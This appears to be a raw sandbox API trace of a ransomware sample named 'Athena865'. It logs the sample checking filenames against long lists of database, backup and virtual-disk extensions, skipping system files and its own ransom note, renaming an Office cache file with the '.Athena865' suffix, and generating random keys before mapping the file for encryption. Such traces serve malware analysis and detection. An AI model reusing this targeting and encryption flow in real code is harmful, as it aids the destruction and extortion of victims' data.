[0061.173] lstrlenW (lpString="pan") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0061.173] lstrlenW (lpString="pdb") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0061.173] lstrlenW (lpString="pdm") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0061.173] lstrlenW (lpString="pnz") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0061.173] lstrlenW (lpString="qry") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0061.173] lstrlenW (lpString="qvd") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0061.173] lstrlenW (lpString="rbf") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0061.173] lstrlenW (lpString="rctd") returned 4 [0061.173] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0061.173] lstrlenW (lpString="rod") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0061.173] lstrlenW (lpString="rodx") returned 4 [0061.173] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0061.173] lstrlenW (lpString="rpd") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0061.173] lstrlenW (lpString="rsd") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0061.173] lstrlenW (lpString="sas7bdat") returned 8 [0061.173] lstrcmpiW (lpString1="rWW2.cab", lpString2="sas7bdat") returned -1 [0061.173] lstrlenW (lpString="sbf") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0061.174] lstrlenW (lpString="scx") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0061.174] lstrlenW (lpString="sdb") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0061.174] lstrlenW (lpString="sdc") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0061.174] lstrlenW (lpString="sdf") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0061.174] lstrlenW (lpString="sis") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0061.174] lstrlenW (lpString="spq") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0061.174] lstrlenW (lpString="te") returned 2 [0061.174] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0061.174] lstrlenW (lpString="teacher") returned 7 [0061.174] lstrcmpiW (lpString1="WW2.cab", lpString2="teacher") returned 1 [0061.174] lstrlenW (lpString="tmd") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0061.174] lstrlenW (lpString="tps") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0061.174] lstrlenW (lpString="trc") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0061.174] lstrlenW (lpString="trc") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0061.174] lstrlenW (lpString="trm") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0061.174] lstrlenW (lpString="udb") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0061.174] lstrlenW (lpString="udl") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0061.174] lstrlenW (lpString="usr") returned 3 [0061.174] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0061.175] lstrlenW (lpString="v12") returned 3 [0061.175] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0061.175] lstrlenW (lpString="vis") returned 3 [0061.175] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0061.175] lstrlenW (lpString="vpd") returned 3 [0061.175] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0061.175] lstrlenW (lpString="vvv") returned 3 [0061.175] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0061.175] lstrlenW (lpString="wdb") returned 3 [0061.175] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0061.175] lstrlenW (lpString="wmdb") returned 4 [0061.175] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0061.175] lstrlenW (lpString="wrk") returned 3 [0061.175] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0061.175] lstrlenW (lpString="xdb") returned 3 [0061.175] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0061.175] lstrlenW (lpString="xld") returned 3 [0061.175] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0061.175] lstrlenW (lpString="xmlff") returned 5 [0061.175] lstrcmpiW (lpString1="2.cab", lpString2="xmlff") returned -1 [0061.175] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.Athena865") returned 85 [0061.175] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.athena865"), dwFlags=0x1) returned 1 [0061.176] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0061.176] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=222948913) returned 1 [0061.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0061.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0061.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0061.177] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0061.178] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0061.178] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0061.178] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd49f140, lpName=0x0) returned 0x17c [0061.179] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xd400000, dwNumberOfBytesToMap=0x9f140) returned 0x2d50000 [0061.210] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0061.288] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0061.321] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0061.322] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0061.322] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0061.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0061.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0061.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0061.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0061.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0061.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0061.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0061.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0061.323] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0061.331] CloseHandle (hObject=0x17c) returned 1 [0061.331] CloseHandle (hObject=0x154) returned 1 [0061.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0061.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0061.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0061.339] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0061.339] lstrcmpiW (lpString1="setup.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0061.339] lstrcmpiW (lpString1="setup.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0061.339] lstrcmpiW (lpString1="setup.exe", lpString2=".") returned 1 [0061.339] lstrcmpiW (lpString1="setup.exe", lpString2="..") returned 1 [0061.339] lstrcmpiW (lpString1="setup.exe", lpString2="windows") returned -1 [0061.339] lstrcmpiW (lpString1="setup.exe", lpString2="bootmgr") returned 1 [0061.339] lstrcmpiW (lpString1="setup.exe", lpString2="temp") returned -1 [0061.339] lstrcmpiW (lpString1="setup.exe", lpString2="pagefile.sys") returned 1 [0061.340] lstrcmpiW (lpString1="setup.exe", lpString2="boot") returned 1 [0061.340] lstrcmpiW (lpString1="setup.exe", lpString2="ids.txt") returned 1 [0061.340] lstrcmpiW (lpString1="setup.exe", lpString2="ntuser.dat") returned 1 [0061.340] lstrcmpiW (lpString1="setup.exe", lpString2="perflogs") returned 1 [0061.340] lstrcmpiW (lpString1="setup.exe", lpString2="MSBuild") returned 1 [0061.340] lstrlenW (lpString="setup.exe") returned 9 [0061.340] lstrcpyW (in: lpString1=0x241e8c6, lpString2="setup.exe" | out: lpString1="setup.exe") returned="setup.exe" [0061.340] lstrlenW (lpString="setup.exe") returned 9 [0061.340] lstrlenW (lpString="Athena865") returned 9 [0061.340] lstrlenW (lpString=".dll") returned 4 [0061.340] lstrcmpiW (lpString1="setup.exe", lpString2=".dll") returned 1 [0061.340] lstrlenW (lpString=".lnk") returned 4 [0061.340] lstrcmpiW (lpString1="setup.exe", lpString2=".lnk") returned 1 [0061.340] lstrlenW (lpString=".ini") returned 4 [0061.340] lstrcmpiW (lpString1="setup.exe", lpString2=".ini") returned 1 [0061.340] lstrlenW (lpString=".sys") returned 4 [0061.340] lstrcmpiW (lpString1="setup.exe", lpString2=".sys") returned 1 [0061.340] lstrlenW (lpString="setup.exe") returned 9 [0061.340] lstrlenW (lpString="bak") returned 3 [0061.340] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0061.340] lstrlenW (lpString="ba_") returned 3 [0061.340] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0061.340] lstrlenW (lpString="dbb") returned 3 [0061.340] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0061.340] lstrlenW (lpString="vmdk") returned 4 [0061.340] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0061.340] lstrlenW (lpString="rar") returned 3 [0061.340] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0061.340] lstrlenW (lpString="zip") returned 3 [0061.340] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0061.340] lstrlenW (lpString="tgz") returned 3 [0061.340] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0061.341] lstrlenW (lpString="vbox") returned 4 [0061.341] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0061.341] lstrlenW (lpString="vdi") returned 3 [0061.341] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0061.341] lstrlenW (lpString="vhd") returned 3 [0061.341] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0061.341] lstrlenW (lpString="vhdx") returned 4 [0061.341] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0061.341] lstrlenW (lpString="avhd") returned 4 [0061.341] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0061.341] lstrlenW (lpString="db") returned 2 [0061.341] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0061.341] lstrlenW (lpString="db2") returned 3 [0061.341] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0061.341] lstrlenW (lpString="db3") returned 3 [0061.341] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0061.341] lstrlenW (lpString="dbf") returned 3 [0061.341] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0061.341] lstrlenW (lpString="mdf") returned 3 [0061.341] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0061.341] lstrlenW (lpString="mdb") returned 3 [0061.341] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0061.341] lstrlenW (lpString="sql") returned 3 [0061.341] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0061.341] lstrlenW (lpString="sqlite") returned 6 [0061.341] lstrcmpiW (lpString1="up.exe", lpString2="sqlite") returned 1 [0061.341] lstrlenW (lpString="sqlite3") returned 7 [0061.341] lstrcmpiW (lpString1="tup.exe", lpString2="sqlite3") returned 1 [0061.341] lstrlenW (lpString="sqlitedb") returned 8 [0061.342] lstrcmpiW (lpString1="etup.exe", lpString2="sqlitedb") returned -1 [0061.342] lstrlenW (lpString="xml") returned 3 [0061.342] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0061.342] lstrlenW (lpString="$er") returned 3 [0061.342] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0061.342] lstrlenW (lpString="4dd") returned 3 [0061.342] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0061.342] lstrlenW (lpString="4dl") returned 3 [0061.342] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0061.342] lstrlenW (lpString="^^^") returned 3 [0061.342] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0061.342] lstrlenW (lpString="abs") returned 3 [0061.342] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0061.342] lstrlenW (lpString="abx") returned 3 [0061.342] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0061.342] lstrlenW (lpString="accdb") returned 5 [0061.342] lstrcmpiW (lpString1="p.exe", lpString2="accdb") returned 1 [0061.342] lstrlenW (lpString="accdc") returned 5 [0061.342] lstrcmpiW (lpString1="p.exe", lpString2="accdc") returned 1 [0061.342] lstrlenW (lpString="accde") returned 5 [0061.342] lstrcmpiW (lpString1="p.exe", lpString2="accde") returned 1 [0061.342] lstrlenW (lpString="accdr") returned 5 [0061.342] lstrcmpiW (lpString1="p.exe", lpString2="accdr") returned 1 [0061.342] lstrlenW (lpString="accdt") returned 5 [0061.342] lstrcmpiW (lpString1="p.exe", lpString2="accdt") returned 1 [0061.342] lstrlenW (lpString="accdw") returned 5 [0061.342] lstrcmpiW (lpString1="p.exe", lpString2="accdw") returned 1 [0061.342] lstrlenW (lpString="accft") returned 5 [0061.342] lstrcmpiW (lpString1="p.exe", lpString2="accft") returned 1 [0061.342] lstrlenW (lpString="adb") returned 3 [0061.342] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0061.342] lstrlenW (lpString="adb") returned 3 [0061.342] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0061.343] lstrlenW (lpString="ade") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0061.343] lstrlenW (lpString="adf") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0061.343] lstrlenW (lpString="adn") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0061.343] lstrlenW (lpString="adp") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0061.343] lstrlenW (lpString="alf") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0061.343] lstrlenW (lpString="ask") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0061.343] lstrlenW (lpString="btr") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0061.343] lstrlenW (lpString="cat") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0061.343] lstrlenW (lpString="cdb") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0061.343] lstrlenW (lpString="ckp") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0061.343] lstrlenW (lpString="cma") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0061.343] lstrlenW (lpString="cpd") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0061.343] lstrlenW (lpString="dacpac") returned 6 [0061.343] lstrcmpiW (lpString1="up.exe", lpString2="dacpac") returned 1 [0061.343] lstrlenW (lpString="dad") returned 3 [0061.343] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0061.343] lstrlenW (lpString="dadiagrams") returned 10 [0061.343] lstrlenW (lpString="daschema") returned 8 [0061.343] lstrcmpiW (lpString1="etup.exe", lpString2="daschema") returned 1 [0061.343] lstrlenW (lpString="db-journal") returned 10 [0061.343] lstrlenW (lpString="db-shm") returned 6 [0061.344] lstrcmpiW (lpString1="up.exe", lpString2="db-shm") returned 1 [0061.344] lstrlenW (lpString="db-wal") returned 6 [0061.344] lstrcmpiW (lpString1="up.exe", lpString2="db-wal") returned 1 [0061.344] lstrlenW (lpString="dbc") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0061.344] lstrlenW (lpString="dbs") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0061.344] lstrlenW (lpString="dbt") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0061.344] lstrlenW (lpString="dbv") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0061.344] lstrlenW (lpString="dbx") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0061.344] lstrlenW (lpString="dcb") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0061.344] lstrlenW (lpString="dct") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0061.344] lstrlenW (lpString="dcx") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0061.344] lstrlenW (lpString="ddl") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0061.344] lstrlenW (lpString="dlis") returned 4 [0061.344] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0061.344] lstrlenW (lpString="dp1") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0061.344] lstrlenW (lpString="dqy") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0061.344] lstrlenW (lpString="dsk") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0061.344] lstrlenW (lpString="dsn") returned 3 [0061.344] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0061.344] lstrlenW (lpString="dtsx") returned 4 [0061.344] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0061.344] lstrlenW (lpString="dxl") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0061.345] lstrlenW (lpString="eco") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0061.345] lstrlenW (lpString="ecx") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0061.345] lstrlenW (lpString="edb") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0061.345] lstrlenW (lpString="epim") returned 4 [0061.345] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0061.345] lstrlenW (lpString="fcd") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0061.345] lstrlenW (lpString="fdb") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0061.345] lstrlenW (lpString="fic") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0061.345] lstrlenW (lpString="flexolibrary") returned 12 [0061.345] lstrlenW (lpString="fm5") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0061.345] lstrlenW (lpString="fmp") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0061.345] lstrlenW (lpString="fmp12") returned 5 [0061.345] lstrcmpiW (lpString1="p.exe", lpString2="fmp12") returned 1 [0061.345] lstrlenW (lpString="fmpsl") returned 5 [0061.345] lstrcmpiW (lpString1="p.exe", lpString2="fmpsl") returned 1 [0061.345] lstrlenW (lpString="fol") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0061.345] lstrlenW (lpString="fp3") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0061.345] lstrlenW (lpString="fp4") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0061.345] lstrlenW (lpString="fp5") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0061.345] lstrlenW (lpString="fp7") returned 3 [0061.345] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0061.346] lstrlenW (lpString="fpt") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0061.346] lstrlenW (lpString="frm") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0061.346] lstrlenW (lpString="gdb") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0061.346] lstrlenW (lpString="gdb") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0061.346] lstrlenW (lpString="grdb") returned 4 [0061.346] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0061.346] lstrlenW (lpString="gwi") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0061.346] lstrlenW (lpString="hdb") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0061.346] lstrlenW (lpString="his") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0061.346] lstrlenW (lpString="ib") returned 2 [0061.346] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0061.346] lstrlenW (lpString="idb") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0061.346] lstrlenW (lpString="ihx") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0061.346] lstrlenW (lpString="itdb") returned 4 [0061.346] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0061.346] lstrlenW (lpString="itw") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0061.346] lstrlenW (lpString="jet") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0061.346] lstrlenW (lpString="jtx") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0061.346] lstrlenW (lpString="kdb") returned 3 [0061.346] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0061.346] lstrlenW (lpString="kexi") returned 4 [0061.346] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0061.346] lstrlenW (lpString="kexic") returned 5 [0061.347] lstrcmpiW (lpString1="p.exe", lpString2="kexic") returned 1 [0061.347] lstrlenW (lpString="kexis") returned 5 [0061.347] lstrcmpiW (lpString1="p.exe", lpString2="kexis") returned 1 [0061.347] lstrlenW (lpString="lgc") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0061.347] lstrlenW (lpString="lwx") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0061.347] lstrlenW (lpString="maf") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0061.347] lstrlenW (lpString="maq") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0061.347] lstrlenW (lpString="mar") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0061.347] lstrlenW (lpString="marshal") returned 7 [0061.347] lstrcmpiW (lpString1="tup.exe", lpString2="marshal") returned 1 [0061.347] lstrlenW (lpString="mas") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0061.347] lstrlenW (lpString="mav") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0061.347] lstrlenW (lpString="maw") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0061.347] lstrlenW (lpString="mdbhtml") returned 7 [0061.347] lstrcmpiW (lpString1="tup.exe", lpString2="mdbhtml") returned 1 [0061.347] lstrlenW (lpString="mdn") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0061.347] lstrlenW (lpString="mdt") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0061.347] lstrlenW (lpString="mfd") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0061.347] lstrlenW (lpString="mpd") returned 3 [0061.347] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0061.347] lstrlenW (lpString="mrg") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0061.348] lstrlenW (lpString="mud") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0061.348] lstrlenW (lpString="mwb") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0061.348] lstrlenW (lpString="myd") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0061.348] lstrlenW (lpString="ndf") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0061.348] lstrlenW (lpString="nnt") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0061.348] lstrlenW (lpString="nrmlib") returned 6 [0061.348] lstrcmpiW (lpString1="up.exe", lpString2="nrmlib") returned 1 [0061.348] lstrlenW (lpString="ns2") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0061.348] lstrlenW (lpString="ns3") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0061.348] lstrlenW (lpString="ns4") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0061.348] lstrlenW (lpString="nsf") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0061.348] lstrlenW (lpString="nv") returned 2 [0061.348] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0061.348] lstrlenW (lpString="nv2") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0061.348] lstrlenW (lpString="nwdb") returned 4 [0061.348] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0061.348] lstrlenW (lpString="nyf") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0061.348] lstrlenW (lpString="odb") returned 3 [0061.348] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 